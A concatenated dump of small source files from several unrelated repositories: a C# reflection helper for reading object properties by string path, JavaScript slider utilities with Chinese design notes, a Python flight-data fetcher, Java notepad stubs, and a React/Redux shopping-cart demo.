public string MyNameProperty { get; set; }
public string MyNameField;
}
}
<file_sep>/GoGet.Console/Program.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace GoGet.Console
{
class Program
{
static void Main(string[] args)
{
var c = new MyClass();
var get = Go.Get(c, "ClassY.Name");
var test = Go.GetProperty(get);
var value = Go.GetPropertyValue<string>(test);
var method = Go.GetMethod(c,"ClassY.WIN");
if (get != null && test != null)
{
}
}
}
public class MyClass
{
public MyClass()
{
ID = 1;
ClassX = new ClassX();
ClassY = new ClassX();
}
public int ID { get; set; }
public ClassX ClassX { get; set; }
public ClassX ClassY;
}
public class ClassX
{
public ClassX()
{
Name = "James";
}
public string Name { get; set; }
public void WIN()
{
}
}
}
<file_sep>/GoGet/GetType.cs
/*
* GoGet v1.0
* License: The MIT License (MIT)
* Code: https://github.com/jdemeuse1204/GoGet
* Email: <EMAIL>
* Copyright (c) 2015 <NAME>
*/
namespace GoGet
{
public enum GetType
{
Property,
Field,
Method
}
}
<file_sep>/README.md
# GoGet
project to traverse object by string paths
###Methods:
```C#
public static T GetPropertyValue<T>(object o, string path);
public static T GetPropertyValue<T>(GetInfo info);
public static GetInfo GetProperty(object o, string path);
public static GetInfo GetProperty(Get get);
public static T GetFieldValue<T>(object o, string path);
public static T GetFieldValue<T>(GetInfo info);
public static GetInfo GetField(object o, string path);
public static GetInfo GetField(Get get);
public static MethodInfo GetMethod(object o, string path);
public static MethodInfo GetMethod(Get get);
public static Get Get(object o, string path);
```
Examples:
```C#
public class MyClass
{
public MyClass()
{
MyField = new MyNestedClass();
MyProperty = new MyNestedClass();
}
public MyNestedClass MyField;
public MyNestedClass MyProperty { get; set; }
}
public class MyNestedClass
{
public MyNestedClass()
{
MyNameProperty = "James";
MyNameField = "Demeuse";
}
public void MyMethod()
{
}
public string MyNameProperty { get; set; }
public string MyNameField;
}
```
With the above model we can do the following
```C#
var myClass = new MyClass();
var myName = Go.GetPropertyValue<string>(myClass, "MyProperty.MyNameProperty");
Assert.IsTrue(myName == "James");
// We can also do since the end result is a property
myName = Go.GetPropertyValue<string>(myClass, "MyField.MyNameProperty");
Assert.IsTrue(myName == "James");
// likewise we can do the same for fields
myName = Go.GetFieldValue<string>(myClass, "MyField.MyNameField");
Assert.IsTrue(myName == "Demeuse");
myName = Go.GetFieldValue<string>(myClass, "MyProperty.MyNameField");
Assert.IsTrue(myName == "Demeuse");
// Can also find methods if needed
var myMethod = Go.GetMethod(myClass, "MyProperty.MyMethod");
Assert.IsNotNull(myMethod);
```
**NOTE: When retrieving a PropertyValue or FieldValue, if nothing is found, default(T) is returned<br/><br/>
Mail To - <EMAIL>
<file_sep>/GoGet.Tests/MyClass.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace GoGet.Tests
{
public class MyClass
{
public MyClass()
{
MyField = new MyNestedClass();
MyProperty = new MyNestedClass();
}
public MyNestedClass MyField;
public MyNestedClass MyProperty { get; set; }
}
}
<file_sep>/GoGet.Tests/UnitTest1.cs
using Microsoft.VisualStudio.TestTools.UnitTesting;
namespace GoGet.Tests
{
[TestClass]
public class UnitTest1
{
[TestMethod]
public void TestMethod1()
{
var myClass = new MyClass();
var myName = Go.GetPropertyValue<string>(myClass, "MyProperty.MyNameProperty");
Assert.IsTrue(myName == "James");
// We can also do since the end result is a property
myName = Go.GetPropertyValue<string>(myClass, "MyField.MyNameProperty");
Assert.IsTrue(myName == "James");
// likewise we can do the same for fields
myName = Go.GetFieldValue<string>(myClass, "MyField.MyNameField");
Assert.IsTrue(myName == "Demeuse");
myName = Go.GetFieldValue<string>(myClass, "MyProperty.MyNameField");
Assert.IsTrue(myName == "Demeuse");
// Can also find methods if needed
var myMethod = Go.GetMethod(myClass, "MyProperty.MyMethod");
Assert.IsNotNull(myMethod);
}
}
}
| a00e5503c5a964a61c29b084f1dceee79c1fd827 | [
"Markdown",
"C#"
] | 9 | C# | jdemeuse1204/GoGet | e3122b6dea1439b5402d3e75148107ddbadfbf8b | 941917c6c74d5755da190b1fc774d3a414c12a6b |
refs/heads/master | <repo_name>FDirectionClear/BerryMelonSlider<file_sep>/src/common/tools.js
export function capitalize(str) {
// 如果str是undefined返回空字符串
if(typeof str === 'undefined') {
return ''
}
// 如果str的第一个不是小写字母就返回str
if(str.search(/^[a-z]/) === -1) {
return str
}
return str.slice(0,1).toUpperCase() + str.slice(1)
}
export function handleError (msg) {
throw new Error(msg)
}<file_sep>/设计思路.md
1、图片由slot传入。
2、container下有一个wrapper,container的高度为body的25%,宽度为屏幕宽度,wrapper为可滑动面板,尺寸和container相同,img和container的尺寸相同,wrapper不能溢出不换行。container溢出部分隐藏。这样实现轮播图组件基本dom结构。
3、mounted后执行init方法,在init方法中,获取当前屏幕宽度作为单位移动距离。clone首尾图片分别放置在尾部和首部,同时向左瞬移一个移动单位距离。
4、滚动到最后一张图片,就瞬移至假的第一张图片上。
5、当点击按钮时先消除计时器,然后滚动到对应位置即可。按钮的索引加一。
6、尺寸改变,可以在下次滚动时进行校正。
7、可以支持退化
scrollTo方法实现:
通过promise确定状态
1、功能:滚动到指定索引位置,且可以支持是瞬间滚动还是,滚动过渡动画时长。
2、params: index, time, index指实际图片索引
-单位距离长度 * index 就是滚动的距离,
3、
autoScroll(设置定时器的函数)
1、设置定时器,更改当前轮播状态标识位,定时器callback就是增长或者减少当前索引
定时器callback: 返回promise给一个vm变量。
先缓存老的索引值,然后根据老的索引值 + 1,得到新的索引值
如果此时是自动轮播状态(正向,从右往左滚)
且当前的老索引是length - 2
那么在下次滚动结束的时候(promise.resolve),应该瞬间滚动到索引为1的位置,同时将索引置换为1
如果此时是自动轮播状态(逆向,从左往右滚)
先缓存老的索引值,然后根据老的索引值 - 1,得到新的索引值
且当前的老索引是1
那么在下次滚动结束的时候,应该瞬间滚动到所因为length - 2的位置,同时将索引置换为2
createAutoScrollCallBackFunction / watch: direction:
1、柯里化生成autoScroll的callback函数:
先将老的计时器清除
将不同的点化为参数,以防多次判断。
点击索引按钮实现跳转:
1、点击的时候先清除计时器,然后过渡式scroll到指定位置即可
点击AUTO按钮实现自动轮播
先判断当前的过渡状态是什么,如果是正在过渡中,那么就等待过渡后重新设置定时器,如果此时正在过渡中,可以用callback返回的then进行监听。
如果轮播间隔时间过短,应该作出警告或适应
<!-- 1、当前新索引如果是最后一
2、watch当前索引变化,且当前为自动轮播状态,那么每次变化都触发scrollTo方法去移动到对应索引位置。 -->
<file_sep>/src/common/domOpts.js
import { capitalize } from './tools'
let vendor = (() => { // vender : String
const div = document.createElement('div')
const transformNames = {
'webkit': 'webkitTransform',
'Moz': 'MozTransform',
'O': 'OTransform',
'ms': 'msTransform',
'standard' :'transform'
}
for(let key in transformNames) {
if(typeof div.style[transformNames[key]] !== 'undefined'){
return key
}
}
return false // 如果返回false说明浏览器压根就不支持transform
})()
// 自动添加适配当前浏览器的厂商前缀
export function prefixStyle (style) { // style : String
if(vendor === false) {
return false // 浏览器可能不支持CSS3
}
if(vendor === 'standard') {
return style
}
return vendor + capitalize(style)
}
export function isDom (el) {
const res =
(typeof HTMLElement === 'object' ||
typeof HTMLElement === 'function')
? (function () {
return el instanceof HTMLElement
})()
: (function () {
return el &&
typeof el === 'object' &&
el.nodeType === 1 &&
typeof el.nodeName === 'string'
})()
return res
} | 1c3117244d03c841abb006e44a06a6022911d045 | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | FDirectionClear/BerryMelonSlider | 58eb4839903155c02057e51bc40d7b0c52506374 | 0d77fa3c406f354f6da59fe1c3bd6783dbf916a2 |
refs/heads/master | <file_sep>#!/usr/bin/env python
#-*- coding: UTF-8 -*-
# autor: <NAME>
# date: 2015-04-15
# mail: <EMAIL>
# version: 1.0
##################################################################################
# version 1.0 release notes:
# Initial version
# Requisites:
# library configobj To install: "apt-get install python-configobj"
##################################################################################
import time
import sys
import os
import datetime
import logging, logging.handlers
import uuid
import urllib2, json
data = urllib2.urlopen('http://krk.fr24.com/zones/fcgi/spain.json').read()
#data = urllib2.urlopen('http://krk.fr24.com/zones/fcgi/na_ne_all.json').read()
json_data = json.loads(data)
featureVector = []
for key, value in json_data.iteritems():
#print key
#print value
try:
lat = value[1]
lon = value[2]
heading = value[3]
vectorCoordinates = []
vectorCoordinates.append(lon)
vectorCoordinates.append(lat)
new_feature = {}
new_feature['type'] = 'Feature'
new_properties = {}
new_properties['name'] = key
new_properties['heading'] = heading
new_geometry = {}
new_geometry['type'] = 'Point'
new_geometry['coordinates'] = vectorCoordinates
new_feature['geometry'] = new_geometry
new_feature['properties'] = new_properties
featureVector.append(new_feature)
except:
pass
#new_data = {}
#new_data['type'] = 'FeatureCollection'
#new_data['features'] = featureVector
#geojson_data = json.dumps(new_data)
#geojson_data = json.dumps(featureVector)
with open('./html/aviones_all.json', 'w') as outfile:
#json.dump(new_data, outfile)
json.dump(featureVector, outfile)
| ade66d5717f9e3698d78b7acbfbe22dc4009a2f2 | [
"Python"
] | 1 | Python | crueda/FR24 | 555f2e2f3148d162460ae758aa721532614c3e80 | e548aa0fe7299ad9bc09dd205b2abe705117dd3b |
refs/heads/master | <file_sep>export const formatPrice = (curr, val) => {
if (val < 0) {
return `-${curr}${Math.abs(val)}`;
}
return `${curr}${val}`;
};
<file_sep>import { combineReducers } from "redux";
import itemReducer from "./itemReducer";
import discountReducer from "./discountReducer";
const rootReducer = combineReducers({
item: itemReducer,
discount: discountReducer
});
export default rootReducer;
<file_sep>import React from "react";
const Divider = ({ color = "#ddd", height = "1px" }) => {
const style = {
height: height,
backgroundColor: color,
margin: "15px 0"
};
return <div className="Divider" style={style}></div>;
};
export default Divider;
<file_sep>import React from "react";
import "./App.scss";
import Cart from "./components/Cart";
const App = props => {
return (
<div className="App">
<Cart />
</div>
);
};
export default App;
<file_sep>import Expander from "./Expander";
export default Expander;
<file_sep>const initialItem = {
description:
"OFM Essentials Collection Racing Style Bonded Leather Gaming Chair, in Red (ESS-3085-RED)",
img:
"https://i5.walmartimages.com/asr/e73e1252-642c-4473-93ea-fd3b564a7027_1.3e81ea58fa3042452fe185129a4a865f.jpeg",
quantity: 1,
price: 102.96,
currency: "$",
savings: -3.85,
taxes: 8.92
};
const itemReducer = (state = initialItem, action) => {
return state;
};
export default itemReducer;
<file_sep># Purchase Summary (Amazon style) by Martines
You can find the full description of the project in Brief folder
### Previews


### Tools
* React
* Redux
* Sass
* No predefined components are used
### Instructions to start the app
* clone repo
* cd purchase-summary
* npm i
* npm start
This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app).
<file_sep>import React, { useState } from "react";
import "./Expander.scss";
const Expander = props => {
const [toggle, setToggle] = useState(false);
const toggleExpander = () => setToggle(t => !t);
return (
<div className="Expander">{props.children({ toggle, toggleExpander })}</div>
);
};
export default Expander;
<file_sep>import React from "react";
import { connect } from "react-redux";
import "./Cart.scss";
import Divider from "../Divider";
import Tooltip from "../Tooltip";
import Expander from "../Expander";
import Item from "../Item";
import Promocode from "../Promocode";
import { formatPrice } from "../../utils/utils";
const Cart = ({ item, discount }) => {
const total =
item.price +
item.taxes +
item.savings -
discount.value * (item.price + item.taxes + item.savings);
return (
<div className="Cart">
<div className="Cart__prices">
<div className="Cart__row">
<span className="Cart__field">Subtotal</span>
<span className="Cart__value">
{formatPrice(item.currency, item.price)}
</span>
</div>
<div className="Cart__row">
<span className="Cart__field underline">
<Tooltip text="Picking up your order in the store helps cut costs, and we pass the savings on to you.">
Pickup savings
</Tooltip>
</span>
<span className="Cart__value Cart__value--accent">
{formatPrice(item.currency, item.savings)}
</span>
</div>
<div className="Cart__row">
<span className="Cart__field">
Est. taxes and fees
<br />
(Based on 99999)
</span>
<span className="Cart__value">
{formatPrice(item.currency, item.taxes)}
</span>
</div>
</div>
<Divider />
<div className="Cart__total">
<div className="Cart__row">
<span className="Cart__field Cart__field--total">Est. total</span>
<span className="Cart__value Cart__value--total">
{formatPrice(item.currency, total)}
</span>
</div>
</div>
<Expander>
{({ toggle, toggleExpander }) => (
<div className="Expander mt2">
<div className="Expander__header" onClick={toggleExpander}>
<span className="text">
{toggle ? "Hide item details " : "See item details "}
</span>
<span className="icon">{toggle ? "-" : "+"}</span>
</div>
<div
className="Expander__body"
style={{ display: toggle ? "block" : "none" }}
>
<Item item={item} />
</div>
</div>
)}
</Expander>
<Divider />
<Expander>
{({ toggle, toggleExpander }) => (
<div className="Expander mt2">
<div className="Expander__header" onClick={toggleExpander}>
<span className="text">
{toggle ? "Hide promo code " : "Apply promo code "}
</span>
<span className="icon">{toggle ? "-" : "+"}</span>
</div>
<div
className="Expander__body"
style={{ display: toggle ? "block" : "none" }}
>
<Promocode />
</div>
</div>
)}
</Expander>
</div>
);
};
const mapStateToProps = state => ({
item: state.item,
discount: state.discount
});
export default connect(mapStateToProps)(Cart);
| fb1f4bd814d0fd44a380c458d19021c2aac4a18c | [
"JavaScript",
"Markdown"
] | 9 | JavaScript | agnostic79/purchase-summary | 94d3362b847e24acb7bf260e2faa785943b9716b | dc5d7cb4bd0ea0de7e29c32dd21e34393626b498 |
refs/heads/master | <file_sep>def run():
print ("status ")
pass
<file_sep>#!/usr/bin/python3
import sys
import commands
def usage():
print ("usage: [start|stop|status] command [...]")
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
if not hasattr(commands, sys.argv[1]):
print("unknow command")
usage()
command = getattr(commands, sys.argv[1])
command.run(sys.argv[2:])
<file_sep>import sys
import json
from ... import config
def checkRange():
pass
def loadRange():
pass
if __name__ == "__main__":
print ("sadba")
<file_sep>import json
def bfsiter(nodes, links, start):
q = [start]
visited = set([start])
while len(q) > 0:
current = q.pop()
for link in links[current]:
if link not in visited:
visited.add(link)
q.append(link)
yield nodes[current]
if __name__ == "__main__":
with open("prova.json", "r") as fp:
j = fp.read()
graph = json.loads(j)
hosts = graph["env"]["hosts"]
links = graph["env"]["network"]["links"]
for host in bfsiter(hosts, links, "main"):
print (host)
<file_sep>def run():
print ("stop command")
pass
<file_sep>from . import start
from . import stop
from . import status
<file_sep>import sys
def usage():
print ("start [range]")
sys.exit(1)
def run(opts):
if len(opts) < 1:
usage()
rname = opts[0]
print ("range to start is {}".format(rname))
print ("start")
pass
| 49a4fe9bc568478ed19c4ad4f528bc539d343bb8 | [
"Python"
] | 7 | Python | zep715/leaf | 2f27f36a6ee3b08e113379e3c531860811cc8946 | 9e918f1cef50476ebd5c7279a4a69eaa7763016c |
refs/heads/master | <file_sep>package com.xuan.mix.compile.impl;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import com.xuan.mix.compile.CompileException;
/**
* @author xuan
* @since 2020/10/19
*/
class FileUtil {
private static final int EOF = -1;
private static final int DEFAULT_BUFFER_SIZE = 1024 * 4;
static void createFile(File file) {
if (!file.exists()) {
try {
if (!file.createNewFile()) {
throw new CompileException(
"Compile log file can't be created, file:" + file.getName());
}
} catch (IOException e) {
throw new CompileException(
"Compile log file create exception, file:" + file.getName(), e);
}
}
}
static void createPackageDirs(File parent, String packageName) {
String[] packagePaths = packageName.split("\\.");
for (String packagePath : packagePaths) {
parent = new File(parent, packagePath);
if (!parent.exists()) {
if (!parent.mkdir()) {
throw new CompileException("Failed to mkdir, dir name is " + parent);
}
}
}
}
static void createDir(String dirPath) {
File dirFile = new File(dirPath);
if (!dirFile.exists()) {
if (!dirFile.mkdir()) {
throw new CompileException(
"Output directory for class can't be created, directory:" + dirPath);
}
}
}
static byte[] readFileToByteArray(final File file) throws IOException {
try (InputStream in = openInputStream(file)) {
long fileLength = file.length();
return fileLength > 0 ? toByteArray(in, (int)fileLength) : toByteArray(in);
}
}
private static FileInputStream openInputStream(final File file) throws IOException {
if (file.exists()) {
if (file.isDirectory()) {
throw new IOException("File '" + file + "' exists but is a directory");
}
if (!file.canRead()) {
throw new IOException("File '" + file + "' cannot be read");
}
} else {
throw new FileNotFoundException("File '" + file + "' does not exist");
}
return new FileInputStream(file);
}
private static byte[] toByteArray(final InputStream input, final int size) throws IOException {
if (size < 0) {
throw new IllegalArgumentException("Size must be equal or greater than zero: " + size);
}
if (size == 0) {
return new byte[0];
}
final byte[] data = new byte[size];
int offset = 0;
int read;
while (offset < size && (read = input.read(data, offset, size - offset)) != EOF) {
offset += read;
}
if (offset != size) {
throw new IOException("Unexpected read size. current: " + offset + ", expected: " + size);
}
return data;
}
private static byte[] toByteArray(final InputStream input) throws IOException {
try (final ByteArrayOutputStream output = new ByteArrayOutputStream()) {
int n;
byte[] buffer = new byte[DEFAULT_BUFFER_SIZE];
while (EOF != (n = input.read(buffer))) {
output.write(buffer, 0, n);
}
return output.toByteArray();
}
}
}
<file_sep>package com.xuan.mix;
/**
* @author xuan
* @since 2021/1/7
*/
public class Test {
}
| d8714cd695b4975fbacf82b2b14bb06a89be63bb | [
"Java"
] | 2 | Java | jixiar/xutils | f5afa42393795cc3a5f04e77a9df07236c8b04cf | 1f068b5130a0e4e58c48d4b2a9b3e18a63ff266d |
refs/heads/master | <repo_name>KisLupin/notepad-java<file_sep>/src/common/Common.java
package common;
public class Common {
public static final String HYPHEN = "-";
public static final String EMPTY = "";
public static final String NEW_LINE = "\r\n";
public static final String BLANK = " ";
public static final String QUESTION_MARK = "?";
public static final String POINT = ".";
public static final String COLOR = ":";
public static final String START = "*";
public static final String TXT = "txt";
public static final String TXT_FILE = START + POINT + TXT;
public static final String UNTITLE = "Untitled";
public static final String NOTEPAD = "Notepad";
public static final String NOTEPAD_NOTEPAD = BLANK + HYPHEN + BLANK + NOTEPAD;
public static final String TITLE = UNTITLE + NOTEPAD_NOTEPAD;
public static final String SYSTEM_EXIT = "System exit";
public static final String SYSTEM_OPEN = "System open";
public static final String FILE = "File";
public static final String EDIT = "Edit";
public static final String FORMAT = "Format";
public static final String VIEW = "View";
public static final String Help = "Help";
// File Items
public static final String NEW = "New";
public static final String OPEN = "Open...";
public static final String SAVE = "Save";
public static final String SAVE_AS = "Save as...";
public static final String PROPERTIES = "Properties";
public static final String EXIT = "Exit";
// Edit Items
public static final String UNDO = "Undo";
public static final String COPY = "Copy";
public static final String PASTE = "Paste";
public static final String CUT = "Cut";
public static final String DELETE = "Delete";
public static final String FIND = "Find...";
public static final String FIND_NEXT = "Find Next";
public static final String REPLACE = "Replace";
public static final String GO_TO = "Go To...";
public static final String SELECT_ALL = "Select All";
public static final String TIME_DATE = "Time/Date";
// Format Items
public static final String WORD_WRAP = "Word Wrap";
public static final String RESET_FONT = "Reset Font";
public static final String FONT = "Font";
public static final String FONT_STYLE = "Font Style";
public static final String FONT_SIZE_TITLE = "Font Size";
// View
public static final String STATUS_BAR = "Status Bar";
public static final String SKIN = "Change Skin";
// Help Items
public static final String VIEW_HELP = "View Help";
public static final String ABOUT_NOTEPAD = "About NotePad";
// KeyStroke
public static final char A = 'A';
public static final char N = 'N';
public static final char O = 'O';
public static final char L = 'L';
public static final char Z = 'Z';
public static final char C = 'C';
public static final char D = 'D';
public static final char W = 'W';
public static final char H = 'H';
public static final char F = 'F';
public static final char V = 'V';
public static final char X = 'X';
public static final char G = 'G';
public static final char S = 'S';
public static final char P = 'P';
public static final char T = 'T';
public static final char SPACE = ' ';
// notepad\src\main\resources\images
public static final String IMAGE_PATH = "images/";
public static final String HONGTEN_PIC = IMAGE_PATH + "hongten.png";
// About UI
public static final String AUTHOR = "Author";
public static final String AUTHOR_NAME = "Hongten";
public static final String AUTHOR_DESC = "I'm " + AUTHOR_NAME;
public static final String ITEM = "Item";
public static final String DESCRIPTION = "Desctiption";
public static final String APPLICATION = "Application";
public static final String NAME = "Name";
public static final String APPLICATION_NAME = APPLICATION + BLANK + NAME;
public static final String NOTEPAD_APP = NOTEPAD;
public static final String APPLICATION_DESCRIPTION = APPLICATION + BLANK + DESCRIPTION;
public static final String APPLICATION_DESCRIPTION_DETAIL = "A " + NOTEPAD;
public static final String VERSION = "Version";
public static final String VERSION_VALUE = "1.1";
public static final String BLOG = "Blog";
public static final String HOME_PAGE = "http://www.cnblogs.com/hongten";
public static final String NOTEPAD_PUBLISHED_PAGE = HOME_PAGE + "/p/hongten_notepad_index.html";
public static final String NOTEPAD_SUBSTANCE_SKINS_PAGE = HOME_PAGE + "/p/hongten_notepad_substance_skins.html";
public static final String SUBSTANCE_SKINS_PAGE = NOTEPAD_SUBSTANCE_SKINS_PAGE + "#";
public static final String NOTEPAD_PUBLISHED_BOOKMARK_PAGE = NOTEPAD_PUBLISHED_PAGE + "#";
public static final int TABLE_ROW_HEIGHT = 20;
// Dialog messages and titles
public static final String CONFIM_EXIT = "Confim Exit";
public static final String ACCESS_URL_REQUEST = "Access URL Request";
public static final String ACCESS_URL = "Access URL : ";
public static final String FONT_LUCIDA_CONSOLE = "Lucida Console";
public static final String FONT_TYPE = "宋体";
public static final int FONT_SIZE = 12;
public static final int FONT_NUM = 148;
public static final int FONT_SIZE_NUM = 4;
public static final int FONT_STYLE_NUM = 0;
public static final String FONT_STYLE_DEFAULT = "Regular";
public static final String DATE_FORMAT = "HH:mm MM/dd/yyyy";
public static final String THIS_IS_A_SIMPLE = "This is a Simple";
public static final String SIMPLE = "Simple";
public static final String CURRENT_SINK = "Current Skin" + BLANK + COLOR + BLANK;
public static final String DESCRIPTION_WITH_COLOR = DESCRIPTION + BLANK + COLOR + BLANK;
public static final String CURRENT_FONT = "Current Font" + BLANK + COLOR + BLANK;
public static final String CURRENT_FONT_SIZE = "Current Font Size" + BLANK + COLOR + BLANK;
public static final String CURRENT_FONT_STYLE = "Current Font Style" + BLANK + COLOR + BLANK;
public static final String DO_YOU_WANT_TO_SAVE_CHANGES = "Do you want to save changes?";
public static final String WHAT_DO_YOU_WANT_TO_FIND = "Please type what do you want to find.";
public static final String CAN_NOT_FIND = "Cannot find ";
public static final String MATCHES_REPLACED = " matches replaced!";
public static final String FIND_WHAT = "Find What :";
public static final String REPLACE_TO = "Replace To :";
public static final String REPLACE_ALL = "Replace All";
public static final String CASE_SENSITIVE = "Case Sensitive";
public static final String FORWARD = "Forward";
public static final String BACKWARD = "Backward";
public static final String CANCEL = "Cancel";
public static final String GB2312 = "GB2312";
public static final String NOTEPAD_HOME_PAGE = "Home Page";
public static final String NOTEPAD_SKINS = "Notepad Skins";
public static final String SOURCE = "Source";
public static final String SOURCE_CODE = SOURCE + " Code";
public static final String SOURCE_CODE_DOWNLOAD = SOURCE_CODE + " Download";
public static final String NOTEPAD_API = "Notepad API";
public static final String SOURCE_CODE_BOOKMARK = "Source.Code";
public static final String SOURCE_CODE_DOWNLOAD_BOOKMARK = SOURCE_CODE_BOOKMARK + ".Download";
public static final String NOTEPAD_API_BOOKMARK = "Notepad.API";
}
<file_sep>/src/util/FileMenuUtil.java
package util;
import common.Common;
import ui.MainUI;
import javax.swing.*;
import javax.swing.filechooser.FileNameExtensionFilter;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.InputStreamReader;
public class FileMenuUtil extends MainUI{
private static final long serialVersionUID = 1L;
public FileMenuUtil(String title) {
super(title);
}
public static void news(MainUI mainUI) {
}
public static void save(MainUI mainUI) {
}
public static void saveAs(MainUI mainUI) {
}
public void exit(MainUI mainUI) {
}
public void open(MainUI mainUI) {
}
private void confirmOpen(MainUI mainUI) {
}
private static void openOperation(MainUI mainUI) {
}
public void readProperties(MainUI mainUI) {
}
}
<file_sep>/src/Main.java
import common.Common;
import ui.MainUI;
public class Main {
public static void main(String[] args) {
start();
}
public static MainUI start() {
MainUI ui = new MainUI(Common.TITLE);
ui.init();
return ui;
}
}
| 08dbe3f42ca78b3372bd38397e0203a39ede48dc | [
"Java"
] | 3 | Java | KisLupin/notepad-java | 78ea64ac8284a447bc0c3e085bdf9c60436bacb2 | aa5664c07d9bfef5e1c10bd4ea9a1be25799745f |
refs/heads/master | <file_sep>module Tugboat
module Middleware
class InfoDroplet < Base
def call(env)
ocean = env["ocean"]
req = ocean.droplets.show env["droplet_id"]
if req.status == "ERROR"
say "#{req.status}: #{req.error_message}", :red
exit 1
end
droplet = req.droplet
if droplet.status == "active"
status_color = GREEN
else
status_color = RED
end
attribute = env["user_attribute"]
attributes_list = [
["name", droplet.name],
["id", droplet.id],
["status", droplet.status],
["ip", droplet.ip_address],
["private_ip", droplet.private_ip_address],
["region_id", droplet.region_id],
["image_id", droplet.image_id],
["size_id", droplet.size_id],
["backups_active", (droplet.backups_active || false)]
]
attributes = Hash[*attributes_list.flatten(1)]
if attribute
if attributes.has_key? attribute
say attributes[attribute]
else
say "Invalid attribute \"#{attribute}\"", :red
say "Provide one of the following:", :red
attributes_list.keys.each { |a| say " #{a[0]}", :red }
end
else
if env["user_porcelain"]
attributes_list.select{ |a| a[1] != nil }.each{ |a| say "#{a[0]} #{a[1]}"}
else
say
say "Name: #{droplet.name}"
say "ID: #{droplet.id}"
say "Status: #{status_color}#{droplet.status}#{CLEAR}"
say "IP: #{droplet.ip_address}"
if droplet.private_ip_address
say "Private IP: #{droplet.private_ip_address}"
end
say "Region ID: #{droplet.region_id}"
say "Image ID: #{droplet.image_id}"
say "Size ID: #{droplet.size_id}"
say "Backups Active: #{droplet.backups_active || false}"
end
end
@app.call(env)
end
end
end
end
| f330a22fd2719a68fa0f004bcadeeb3dc7723162 | [
"Ruby"
] | 1 | Ruby | devwaker/tugboat | 33d4647008f57eef72c0926372de621c6dc62745 | 1966a28cf5dc6256b7b12781efba1ec9df53207f |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.